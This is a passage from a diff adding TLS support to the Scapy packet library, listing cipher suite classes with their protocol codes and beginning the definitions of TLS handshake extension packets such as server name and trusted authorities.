+    val = 0x009C
+
+class TLS_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x009D
+
+class TLS_DHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0x009E
+
+class TLS_DHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x009F
+
+class TLS_DH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0x00A0
+
+class TLS_DH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x00A1
+
+class TLS_DHE_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0x00A2
+
+class TLS_DHE_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x00A3
+
+class TLS_DH_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0x00A4
+
+class TLS_DH_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x00A5
+
+class TLS_DH_anon_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0x00A6
+
+class TLS_DH_anon_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x00A7
+
+class TLS_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0x00A8
+
+class TLS_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x00A9
+
+class TLS_DHE_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0x00AA
+
+class TLS_DHE_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x00AB
+
+class TLS_RSA_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0x00AC
+
+class TLS_RSA_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x00AD
+
+class TLS_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00AE
+
+class TLS_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0x00AF
+
+class TLS_PSK_WITH_NULL_SHA256(_GenericCipherSuite):
+    val = 0x00B0
+
+class TLS_PSK_WITH_NULL_SHA384(_GenericCipherSuite):
+    val = 0x00B1
+
+class TLS_DHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00B2
+
+class TLS_DHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0x00B3
+
+class TLS_DHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite):
+    val = 0x00B4
+
+class TLS_DHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite):
+    val = 0x00B5
+
+class TLS_RSA_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00B6
+
+class TLS_RSA_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0x00B7
+
+class TLS_RSA_PSK_WITH_NULL_SHA256(_GenericCipherSuite):
+    val = 0x00B8
+
+class TLS_RSA_PSK_WITH_NULL_SHA384(_GenericCipherSuite):
+    val = 0x00B9
+
+class TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00BA
+
+class TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00BB
+
+class TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00BC
+
+class TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00BD
+
+class TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00BE
+
+class TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00BF
+
+class TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00C0
+
+class TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00C1
+
+class TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00C2
+
+class TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00C3
+
+class TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00C4
+
+class TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x00C5
+
+#class TLS_EMPTY_RENEGOTIATION_INFO_CSV(_GenericCipherSuite):
+#    val = 0x00FF
+
+#class TLS_FALLBACK_SCSV(_GenericCipherSuite):
+#    val = 0x5600
+
+class TLS_ECDH_ECDSA_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0xC001
+
+class TLS_ECDH_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0xC002
+
+class TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0xC003
+
+class TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0xC004
+
+class TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0xC005
+
+class TLS_ECDHE_ECDSA_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0xC006
+
+class TLS_ECDHE_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0xC007
+
+class TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0xC008
+
+class TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0xC009
+
+class TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0xC00A
+
+class TLS_ECDH_RSA_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0xC00B
+
+class TLS_ECDH_RSA_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0xC00C
+
+class TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0xC00D
+
+class TLS_ECDH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0xC00E
+
+class TLS_ECDH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0xC00F
+
+class TLS_ECDHE_RSA_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0xC010
+
+class TLS_ECDHE_RSA_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0xC011
+
+class TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0xC012
+
+class TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0xC013
+
+class TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0xC014
+
+class TLS_ECDH_anon_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0xC015
+
+class TLS_ECDH_anon_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0xC016
+
+class TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0xC017
+
+class TLS_ECDH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0xC018
+
+class TLS_ECDH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0xC019
+
+class TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0xC01A
+
+class TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0xC01B
+
+class TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0xC01C
+
+class TLS_SRP_SHA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0xC01D
+
+class TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0xC01E
+
+class TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0xC01F
+
+class TLS_SRP_SHA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0xC020
+
+class TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0xC021
+
+class TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0xC022
+
+class TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC023
+
+class TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC024
+
+class TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC025
+
+class TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC026
+
+class TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC027
+
+class TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC028
+
+class TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC029
+
+class TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC02A
+
+class TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC02B
+
+class TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC02C
+
+class TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC02D
+
+class TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC02E
+
+class TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC02F
+
+class TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC030
+
+class TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC031
+
+class TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC032
+
+class TLS_ECDHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0xC033
+
+class TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0xC034
+
+class TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0xC035
+
+class TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0xC036
+
+class TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC037
+
+class TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC038
+
+class TLS_ECDHE_PSK_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0xC039
+
+class TLS_ECDHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite):
+    val = 0xC03A
+
+class TLS_ECDHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite):
+    val = 0xC03B
+
+# suites 0xC03C-C071 use ARIA
+
+class TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC072
+
+class TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC073
+
+class TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC074
+
+class TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC075
+
+class TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC076
+
+class TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC077
+
+class TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC078
+
+class TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC079
+
+class TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC07A
+
+class TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC07B
+
+class TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC07C
+
+class TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC07D
+
+class TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC07E
+
+class TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC07F
+
+class TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC080
+
+class TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC081
+
+class TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC082
+
+class TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC083
+
+class TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC084
+
+class TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC085
+
+class TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC086
+
+class TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC087
+
+class TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC088
+
+class TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC089
+
+class TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC08A
+
+class TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC08B
+
+class TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC08C
+
+class TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC08D
+
+class TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC08E
+
+class TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC08F
+
+class TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC090
+
+class TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC091
+
+class TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0xC092
+
+class TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0xC093
+
+class TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC094
+
+class TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC095
+
+class TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC096
+
+class TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC097
+
+class TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC098
+
+class TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC099
+
+class TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0xC09A
+
+class TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite):
+    val = 0xC09B
+
+class TLS_RSA_WITH_AES_128_CCM(_GenericCipherSuite):
+    val = 0xC09C
+
+class TLS_RSA_WITH_AES_256_CCM(_GenericCipherSuite):
+    val = 0xC09D
+
+class TLS_DHE_RSA_WITH_AES_128_CCM(_GenericCipherSuite):
+    val = 0xC09E
+
+class TLS_DHE_RSA_WITH_AES_256_CCM(_GenericCipherSuite):
+    val = 0xC09F
+
+class TLS_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite):
+    val = 0xC0A0
+
+class TLS_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite):
+    val = 0xC0A1
+
+class TLS_DHE_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite):
+    val = 0xC0A2
+
+class TLS_DHE_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite):
+    val = 0xC0A3
+
+class TLS_PSK_WITH_AES_128_CCM(_GenericCipherSuite):
+    val = 0xC0A4
+
+class TLS_PSK_WITH_AES_256_CCM(_GenericCipherSuite):
+    val = 0xC0A5
+
+class TLS_DHE_PSK_WITH_AES_128_CCM(_GenericCipherSuite):
+    val = 0xC0A6
+
+class TLS_DHE_PSK_WITH_AES_256_CCM(_GenericCipherSuite):
+    val = 0xC0A7
+
+class TLS_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite):
+    val = 0xC0A8
+
+class TLS_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite):
+    val = 0xC0A9
+
+class TLS_DHE_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite):
+    val = 0xC0AA
+
+class TLS_DHE_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite):
+    val = 0xC0AB
+
+class TLS_ECDHE_ECDSA_WITH_AES_128_CCM(_GenericCipherSuite):
+    val = 0xC0AC
+
+class TLS_ECDHE_ECDSA_WITH_AES_256_CCM(_GenericCipherSuite):
+    val = 0xC0AD
+
+class TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8(_GenericCipherSuite):
+    val = 0xC0AE
+
+class TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8(_GenericCipherSuite):
+    val = 0xC0AF
+
+# the next 3 suites are from draft-agl-tls-chacha20poly1305-04
+class TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite):
+    val = 0xCC13
+
+class TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite):
+    val = 0xCC14
+
+class TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite):
+    val = 0xCC15
+
+class TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):
+    val = 0xCCA8
+
+class TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):
+    val = 0xCCA9
+
+class TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):
+    val = 0xCCAA
+
+class TLS_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):
+    val = 0xCCAB
+
+class TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):
+    val = 0xCCAC
+
+class TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):
+    val = 0xCCAD
+
+class TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):
+    val = 0xCCAE
+
+
+class TLS_AES_128_GCM_SHA256(_GenericCipherSuite):
+    val = 0x1301
+
+class TLS_AES_256_GCM_SHA384(_GenericCipherSuite):
+    val = 0x1302
+
+class TLS_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):
+    val = 0x1303
+
+class TLS_AES_128_CCM_SHA256(_GenericCipherSuite):
+    val = 0x1304
+
+class TLS_AES_128_CCM_8_SHA256(_GenericCipherSuite):
+    val = 0x1305
+
+
+class SSL_CK_RC4_128_WITH_MD5(_GenericCipherSuite):
+    val = 0x010080
+
+class SSL_CK_RC4_128_EXPORT40_WITH_MD5(_GenericCipherSuite):
+    val = 0x020080
+
+class SSL_CK_RC2_128_CBC_WITH_MD5(_GenericCipherSuite):
+    val = 0x030080
+
+class SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5(_GenericCipherSuite):
+    val = 0x040080
+
+class SSL_CK_IDEA_128_CBC_WITH_MD5(_GenericCipherSuite):
+    val = 0x050080
+
+class SSL_CK_DES_64_CBC_WITH_MD5(_GenericCipherSuite):
+    val = 0x060040
+
+class SSL_CK_DES_192_EDE3_CBC_WITH_MD5(_GenericCipherSuite):
+    val = 0x0700C0
+
+
+_tls_cipher_suites[0x00ff] = "TLS_EMPTY_RENEGOTIATION_INFO_SCSV"
+_tls_cipher_suites[0x5600] = "TLS_FALLBACK_SCSV"
+
+
+
+def get_usable_ciphersuites(l, kx):
+    """
+    From a list of proposed ciphersuites, this function returns a list of
+    usable cipher suites, i.e. for which key exchange, cipher and hash
+    algorithms are known to be implemented and usable in current version of the
+    TLS extension. The order of the cipher suites in the list returned by the
+    function matches the one of the proposal.
+    """
+    res = []
+    for c in l:
+        if c in _tls_cipher_suites_cls:
+            ciph = _tls_cipher_suites_cls[c]
+            if ciph.usable:
+                #XXX select among RSA and ECDSA cipher suites
+                # according to the key(s) the server was given
+                if ciph.kx_alg.anonymous or kx in ciph.kx_alg.name:
+                    res.append(c)
+    return res
+
diff --git a/scapy/layers/tls/extensions.py b/scapy/layers/tls/extensions.py
new file mode 100644
index 0000000..171127e
--- /dev/null
+++ b/scapy/layers/tls/extensions.py
@@ -0,0 +1,659 @@
+## This file is part of Scapy
+## Copyright (C) 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS handshake extensions.
+"""
+
+from __future__ import print_function
+
+from scapy.fields import *
+from scapy.packet import Packet, Raw, Padding
+from scapy.layers.x509 import X509_Extensions
+from scapy.layers.tls.basefields import _tls_version
+from scapy.layers.tls.keyexchange import (SigAndHashAlgsLenField,
+                                          SigAndHashAlgsField, _tls_hash_sig)
+from scapy.layers.tls.session import _GenericTLSSessionInheritance
+from scapy.layers.tls.crypto.groups import _tls_named_groups
+
+
+_tls_ext = {  0: "server_name",             # RFC 4366
+              1: "max_fragment_length",     # RFC 4366
+              2: "client_certificate_url",  # RFC 4366
+              3: "trusted_ca_keys",         # RFC 4366
+              4: "truncated_hmac",          # RFC 4366
+              5: "status_request",          # RFC 4366
+              6: "user_mapping",            # RFC 4681
+              7: "client_authz",            # RFC 5878
+              8: "server_authz",            # RFC 5878
+              9: "cert_type",               # RFC 6091
+            #10: "elliptic_curves",         # RFC 4492
+             10: "supported_groups",
+             11: "ec_point_formats",        # RFC 4492
+             13: "signature_algorithms",    # RFC 5246
+             0x0f: "heartbeat",             # RFC 6520
+             0x10: "alpn",                  # RFC 7301
+             0x12: "signed_certificate_timestamp",  # RFC 6962
+             0x15: "padding",               # RFC 7685
+             0x16: "encrypt_then_mac",      # RFC 7366
+             0x17: "extended_master_secret",# RFC 7627
+             0x23: "session_ticket",        # RFC 5077
+             0x28: "key_share",
+             0x29: "pre_shared_key",
+             0x2a: "early_data",
+             0x2b: "supported_versions",
+             0x2c: "cookie",
+             0x2d: "psk_key_exchange_modes",
+             0x2e: "ticket_early_data_info",
+             0x2f: "certificate_authorities",
+             0x30: "oid_filters",
+             0x3374: "next_protocol_negotiation",
+                                            # RFC-draft-agl-tls-nextprotoneg-03
+             0xff01: "renegotiation_info"   # RFC 5746
+             }
+
+
+class TLS_Ext_Unknown(_GenericTLSSessionInheritance):
+    """
+    We put this here rather than in extensions.py in order to avoid
+    circular imports...
+    """
+    name = "TLS Extension - Scapy Unknown"
+    fields_desc = [ShortEnumField("type", None, _tls_ext),
+                   FieldLenField("len", None, fmt="!H", length_of="val"),
+                   StrLenField("val", "",
+                               length_from=lambda pkt: pkt.len) ]
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p+pay
+
+
+###############################################################################
+### ClientHello/ServerHello extensions                                      ###
+###############################################################################
+
+# We provide these extensions mostly for packet manipulation purposes.
+# For now, most of them are not considered by our automaton.
+
+class TLS_Ext_PrettyPacketList(TLS_Ext_Unknown):
+    """
+    Dummy extension used for server_name/ALPN/NPN for a lighter representation:
+    the final field is showed as a 1-line list rather than as lots of packets.
+    XXX Define a new condition for packet lists in Packet._show_or_dump?
+    """
+    def _show_or_dump(self, dump=False, indent=3,
+                      lvl="", label_lvl="", first_call=True):
+        """ Reproduced from packet.py """
+        ct = AnsiColorTheme() if dump else conf.color_theme
+        s = "%s%s %s %s \n" % (label_lvl, ct.punct("###["),
+                               ct.layer_name(self.name), ct.punct("]###"))
+        for f in self.fields_desc[:-1]:
+            ncol = ct.field_name
+            vcol = ct.field_value
+            fvalue = self.getfieldval(f.name)
+            begn = "%s  %-10s%s " % (label_lvl+lvl, ncol(f.name),
+                                     ct.punct("="),)
+            reprval = f.i2repr(self,fvalue)
+            if isinstance(reprval, str):
+                reprval = reprval.replace("\n", "\n"+" "*(len(label_lvl)
+                                                          +len(lvl)
+                                                          +len(f.name)
+                                                          +4))
+            s += "%s%s\n" % (begn,vcol(reprval))
+        f = self.fields_desc[-1]
+        ncol = ct.field_name
+        vcol = ct.field_value
+        fvalue = self.getfieldval(f.name)
+        begn = "%s  %-10s%s " % (label_lvl+lvl, ncol(f.name), ct.punct("="),)
+        reprval = f.i2repr(self,fvalue)
+        if isinstance(reprval, str):
+            reprval = reprval.replace("\n", "\n"+" "*(len(label_lvl)
+                                                      +len(lvl)
+                                                      +len(f.name)
+                                                      +4))
+        s += "%s%s\n" % (begn,vcol(reprval))
+        if self.payload:
+            s += self.payload._show_or_dump(dump=dump, indent=indent,
+                                lvl=lvl+(" "*indent*self.show_indent),
+                                label_lvl=label_lvl, first_call=False)
+
+        if first_call and not dump:
+            print(s)
+        else:
+            return s
+
+
+_tls_server_name_types = { 0: "host_name" }
+
+class ServerName(Packet):
+    name = "HostName"
+    fields_desc = [ ByteEnumField("nametype", 0, _tls_server_name_types),
+                    FieldLenField("namelen", None, length_of="servername"),
+                    StrLenField("servername", "",
+                                length_from=lambda pkt: pkt.namelen) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+class ServerListField(PacketListField):
+    def i2repr(self, pkt, x):
+        res = [p.servername for p in x]
+        return "[%s]" % b", ".join(res)
+
+class ServerLenField(FieldLenField):
+    """
+    There is no length when there are no servernames (as in a ServerHello).
+    """
+    def addfield(self, pkt, s, val):
+        if not val:
+            if not pkt.servernames:
+                return s
+        return super(ServerLenField, self).addfield(pkt, s, val)
+
+class TLS_Ext_ServerName(TLS_Ext_PrettyPacketList):                 # RFC 4366
+    name = "TLS Extension - Server Name"
+    fields_desc = [ShortEnumField("type", 0, _tls_ext),
+                   FieldLenField("len", None, length_of="servernames",
+                                 adjust=lambda pkt,x: x+2),
+                   ServerLenField("servernameslen", None,
+                                 length_of="servernames"),
+                   ServerListField("servernames", [], ServerName,
+                                   length_from=lambda pkt: pkt.servernameslen)]
+
+
+class TLS_Ext_MaxFragLen(TLS_Ext_Unknown):                          # RFC 4366
+    name = "TLS Extension - Max Fragment Length"
+    fields_desc = [ShortEnumField("type", 1, _tls_ext),
+                   ShortField("len", None),
+                   ByteEnumField("maxfraglen", 4, { 1: "2^9",
+                                                    2: "2^10",
+                                                    3: "2^11",
+                                                    4: "2^12" }) ]
+
+
+class TLS_Ext_ClientCertURL(TLS_Ext_Unknown):                       # RFC 4366
+    name = "TLS Extension - Client Certificate URL"
+    fields_desc = [ShortEnumField("type", 2, _tls_ext),
+                   ShortField("len", None) ]
+
+
+_tls_trusted_authority_types = {0: "pre_agreed",
+                                1: "key_sha1_hash",
+                                2: "x509_name",
+                                3: "cert_sha1_hash" }
+
+class TAPreAgreed(Packet):
+    name = "Trusted authority - pre_agreed"
+    fields_desc = [ ByteEnumField("idtype", 0, _tls_trusted_authority_types) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+class TAKeySHA1Hash(Packet):
+    name = "Trusted authority - key_sha1_hash"
+    fields_desc = [ ByteEnumField("idtype", 1, _tls_trusted_authority_types),
+                    StrFixedLenField("id", None, 20) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+class TAX509Name(Packet):
+    """
+    XXX Section 3.4 of RFC 4366. Implement a more specific DNField
+    rather than current StrLenField.
+    """
+    name = "Trusted authority - x509_name"
+    fields_desc = [ ByteEnumField("idtype", 2, _tls_trusted_authority_types),
+                    FieldLenField("dnlen", None, length_of="dn"),
+                    StrLenField("dn", "", length_from=lambda pkt: pkt.dnlen) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+class TACertSHA1Hash(Packet):
+    name = "Trusted authority - cert_sha1_hash"
+    fields_desc = [ ByteEnumField("idtype", 3, _tls_trusted_authority_types),
+                    StrFixedLenField("id", None, 20) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+_tls_trusted_authority_cls = {0: TAPreAgreed,
+                              1: TAKeySHA1Hash,
